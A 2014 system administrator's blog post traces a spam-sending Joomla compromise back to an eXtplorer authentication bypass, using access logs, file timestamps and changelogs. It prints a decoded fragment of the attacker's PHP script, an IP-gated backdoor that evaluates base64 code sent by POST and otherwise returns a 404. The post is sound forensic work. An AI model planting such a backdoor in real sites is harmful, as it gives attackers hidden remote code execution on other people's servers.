Tracing a Joomla website hack back to com_extplorer module

Written by Claudio Kuenzler - 1 comments

Published on April 11th 2014 - Listed in Linux Internet Unix Hacks CMS

---

Today I've seen a lot of spams being sent from a website on a shared hosting server. The responsible website and the script were quickly found and I analyzed the hack to find the entry point. From the beginning it was clear that a non-updated Joomla installation (2.5.8) was hacked.

First let's start with the script being used for sending spams. It was a hex encoded php file, which, once decoded (see http://ddecode.com/hexdecoder/?results=aabb392b621316cfe2ce97453849ad8b) showed very interesting php coding parts. For example a certain range of public ip addresses was defined in the script. If the script was accessed from an ip address outside the defined ranges, the script would simply output an error 404. Makes it of course harder to troubleshoot and analyze the hack...

if(isset($_POST["code"])&&isset($_POST["custom_action"])&&is_good_ip($_SERVER["REMOTE_ADDR"])){eval(base64_decode($_POST["code"]));exit();}if(isset($_POST["type"])&&$_POST["type"]=="1"){type1_send();exit();}elseif(isset($_POST["type"])&&$_POST["type"]=="2"){}elseif(isset($_POST["type"])){echo$_POST["type"];exit();}error_404()function is_good_ip($ip){${"GLOBALS"}["hhtosqhhwpl"]="goods";$dnktoeby="goods";${$dnktoeby}=Array("6.185.239.","8.138.118.","8.138.127.");foreach(${${"GLOBALS"}["hhtosqhhwpl"]} as${${"GLOBALS"}["jehyjwwd"]}){$tqmnfbn="ip";if(strstr(${$tqmnfbn},${${"GLOBALS"}["jehyjwwd"]})!=FALSE){return TRUE;}}return FALSE;}

This is just one of many interesting parts of the script. Once again, visit the link above to see the full script. 
So several ip ranges were defined as "good_ip" and if it didnt match, an error 404 would be returned. When I tried to access the website, of course I got the error 404:

my.own.ip.address - - [11/Apr/2014:10:32:09 +0200] "GET /components/com_users/frn13s.php HTTP/1.1" 404 1048 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"

But from one of the defined ranges the script could be accessed:

146.185.239.20 - - [11/Apr/2014:08:50:32 +0200] "POST /components/com_users/frn13s.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"

Note that the defined ranges in the array don't look for an exact match. In this case the public ip "146.185.239.20" matches "6.185.239.".

The script itself had a fake time stamp on the file, possibly to confuse the admin (me):

-rw-r--r--  1 ftpuser  ftpuser  43848 Jun 26  2012 frn13s.php

By using the stat command, the real creation date can be found:

stat frn13s.php
2729548607 24116 -rw-r--r-- 1 ftpuser ftpuser 4294967295 43848 "Apr 11 10:32:09 2014" "Jun 26 10:07:58 2012" "Apr  9 04:04:05 2014" "Apr  9 04:04:05 2014" 44032 51 0 frn13s.php

So stat revealed that the file was created on April 9th at 04:04:05. A quick look at the access log reveals that another, previously uploaded file, was used:

188.208.33.18 - - [09/Apr/2014:04:04:04 +0200] "POST /tmp/.jindex.php HTTP/1.1" 200 84056 "http://www.google.com" "Mozilla/7.0 (Windows XP 6.1; rv:12.1) Gecko/2014 Firefox/11.1"

The file called ".jindex.php" in the tmp folder had the following content:

... and was uploaded on April 7th at 14:42:

-rw-r--r--  1 ftpuser  ftpuser    300 Apr  7 14:42 .jindex.php

Let's do the same game again and check the logs what happened at that time:

188.208.33.18 - - [07/Apr/2014:14:42:27 +0200] "GET /administrator///components//com_extplorer/ HTTP/1.1" 200 5758 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
188.208.33.18 - - [07/Apr/2014:14:42:28 +0200] "POST /administrator///components//com_extplorer/ HTTP/1.1" 200 43954 "http://www.example.com/administrator///components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
188.208.33.18 - - [07/Apr/2014:14:42:28 +0200] "POST /administrator///components//com_extplorer/ HTTP/1.1" 200 94 "http://www.example.com/administrator///components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

It looks like the "com_extplorer" Joomla module was successfully hacked. Let's check the version of this module:

head administrator/components/com_extplorer/CHANGELOG.txt
****************************
Changelog for eXtplorer
Version $Id: CHANGELOG.txt 223 2012-07-02 13:46:08Z soeren $
****************************
--- version 2.1.0 ---

- fixed an XSS-vulnerability (impact: medium, users needs to be logged in)

--- version 2.1.0 RC5 released ---

Latest entry was from 2012...  By looking for a com_extplorer exploit, a lot of exploits were actually found. It looks like this particular hack matches more or less the vulnerability "eXtplorer v2.1 authentication bypass vulnerability", reported back in December 2012 (http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability/). This page describes the exploit and shows a proof of concept where a simple POST on the com_extplorer module could by bypassed with an empty password (!). Wow. This is just... bad! And plain stupid, too. Vulnerabilities like these doesn't even require real hacker skills... 

The vulnerability seems to be fixed in the eXtplorer component in version 2.1.3.In the CHANGELOG file it is documented as:

 --- version 2.1.3 ---
- fixed serious login vulnerability reported by Brendan Coles of itsecuritysolutions.org (the only changed file is /include/users.php)

Once more another hack which could have been prevented by the website's webmaster by doing regular updates.

Add a comment

Show form to leave a comment

Comments (newest first)

Krzysztof from wrote on Aug 11th, 2016:

Claudio,

thank you for sharing your experience, this was helpful.

---